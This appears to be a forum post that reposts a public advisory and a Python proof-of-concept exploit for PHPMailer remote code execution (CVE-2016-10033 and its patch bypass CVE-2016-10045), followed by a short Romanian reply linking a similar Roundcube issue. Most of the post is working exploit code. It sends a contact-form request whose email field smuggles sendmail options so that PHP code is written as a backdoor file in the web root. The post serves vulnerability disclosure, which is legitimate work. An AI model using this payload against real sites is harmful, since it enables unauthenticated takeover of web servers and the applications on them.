PHPMailer < 5.2.20 Remote Code Execution (0day Patch Bypass/exploit)

[MrGrj]

An independent research uncovered a critical vulnerability in PHPMailer that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application. To exploit the vulnerability an attacker could target common website components such as contact/feedback forms, registration forms, password email resets and others that send out emails with the help of a vulnerable version of the PHPMailer class. The first patch of the vulnerability CVE-2016-10033 was incomplete. This advisory demonstrates the bypass of the patch.

 

"""
usage = """
Usage:

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.txt

PoC Video:
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

Disclaimer:
For testing purposes only. Do no harm.

"""

import time
import urllib
import urllib2
import socket
import sys

RW_DIR = "/var/www/html/uploads"

url = 'http://VictimWebServer/contact_form.php' # Set destination URL here

# Choose/uncomment one of the payloads:

# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
#payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php  some"@email.com' % RW_DIR

# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php  some\"@email.com" % RW_DIR

######################################

# PHP code to be saved into the backdoor php file on the target in RW_DIR
RCE_PHP_CODE = "<?php phpinfo(); ?>"

post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE}

# Attack
data = urllib.urlencode(post_fields)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()

Mai multe informatii, aici

[dancezar]

O problema asemanatoare: https://blog.ripstech.com/2016/roundcube-command-execution-via-email/